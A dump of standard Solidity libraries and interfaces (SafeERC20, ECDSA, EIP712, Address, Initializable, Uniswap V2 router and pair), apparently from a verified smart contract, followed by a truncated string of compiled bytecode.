function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712Upgradeable is Initializable {
/* solhint-disable var-name-mixedcase */
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
_getChainId(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
/**
* @dev The hash of the name parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
/**
* @dev The hash of the version parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x6080604052600436106100dd5760003560e01c8063056f4e18146100e95780630ea90a12146101105780631fe4a68614610125578063315065c7146101565780633b36c7f814610184578063485cc955146102fc57806354af3946146103375780635aa6e675146103db5780637ecebe00146103f0578063a9ec75f614610423578063ab033ea914610438578063b0a82ee81461046b578063c7b9d53014610480578063d389800f146104b3578063ddca3f43146104c8578063e4759b2f146104dd578063f241877514610655578063fcd9da44146107b0576100e4565b366100e457005b600080fd5b3480156100f557600080fd5b506100fe6107ec565b60408051918252519081900360200190f35b34801561011c57600080fd5b506100fe6107f2565b34801561013157600080fd5b5061013a6107f8565b604080516001600160a01b039092168252519081900360200190f35b34801561016257600080fd5b506101826004803603602081101561017957600080fd5b50351515610807565b005b34801561019057600080fd5b506100fe60048036036101408110156101a857600080fd5b6001600160a01b0382358116926020810135821692604082013583169260608301359260808101359260a08201359260c0830135169160e0810135918101906101208101610100820135600160201b81111561020357600080fd5b82018360208201111561021557600080fd5b803590602001918460018302840111600160201b8311171561023657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561028857600080fd5b82018360208201111561029a57600080fd5b803590602001918460018302840111600160201b831117156102bb57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108b8945050505050565b34801561030857600080fd5b506101826004803603604081101561031f57600080fd5b506001600160a01b0381358116916020013516610d9a565b6100fe6004803603602081101561034d57600080fd5b810190602081018135600160201b81111561036757600080fd5b82018360208201111561037957600080fd5b803590602001918460018302840111600160201b8311171561039a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061117e945050505050565b3480156103e757600080fd5b5061013a61128e565b3480156103fc57600080fd5b506100fe6004803603602081101561041357600080fd5b50356001600160a01b031661129d565b34801561042f57600080fd5b506100fe6112af565b34801561044457600080fd5b506101826004803603602081101561045b57600080fd5b50356001600160a01b03166112b5565b34801561047757600080fd5b506100fe611324565b34801561048c57600080fd5b50610182600480360360208110156104a357600080fd5b50356001600160a01b031661132a565b3480156104bf57600080fd5b50610182611399565b3480156104d457600080fd5b506100fe6114e3565b3480156104e957600080fd5b50610182600480360361014081101561050157600080fd5b6001600160a01b0382358116926020810135821692604082013583169260608301359260808101359260a08201359260c0830135169160e0810135918101906101208101610100820135600160201b81111561055c57600080fd5b82018360208201111561056e57600080fd5b803590602001918460018302840111600160201b8311171561058f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156105e157600080fd5b8201836020820111156105f357600080fd5b803590602001918460018302840111600160201b8311171561061457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506114e9945050505050565b34801561066157600080fd5b506100fe600480360360c081101561067857600080fd5b6001600160a01b03823581169260208101359091169160408201359160608101359181019060a081016080820135600160201b8111156106b757600080fd5b8201836020820111156106c957600080fd5b803590602001918460018302840111600160201b831117156106ea57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561073c57600080fd5b82018360208201111561074e57600080fd5b803590602001918460018302840111600160201b8311171561076f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611749945050505050565b3480156107bc57600080fd5b50610182600480360360808110156107d357600080fd5b50803590602081013590604081013590606001356120e